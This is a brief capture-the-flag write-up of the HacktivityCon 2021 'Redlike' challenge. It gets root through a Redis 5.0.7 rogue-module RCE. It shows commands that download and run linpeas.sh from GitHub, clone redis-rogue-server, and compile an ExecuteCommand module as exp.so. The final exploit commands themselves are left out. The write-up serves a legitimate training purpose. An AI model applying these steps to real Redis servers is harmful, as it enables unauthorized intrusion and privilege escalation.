Redlike (Redis Exploitation) — HacktivityCon 2021 CTF

Connect via ssh:

# Password is p@ssw0rd
ssh -p 31024 user@challenge.ctf.games

After uploading and running linpeas.sh with:

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPea’s output let us know Redis is running.

I checked the Redis version with:

So we are running Redis 5.0.7, doing some research I found there was an RCE exploit for this version.

Since the target machine doesn’t have a C Compiler. I’ll have to do it locally from my machine. On my machine I’m going to fetch and setup all the exploit code to scp to the target.

Local my machine:

git clone https://github.com/LoRexxar/redis-rogue-server.git
# Compile .so from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
# Copy the .so file to same folder with redis-rogue-server.py
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make all
cp module.so exp.so

Exploit target machine:

After uploading the exploit code we can login back in with ssh and exploit the machine.

Got root and the flag on root’s home directory. Was a fun challenge!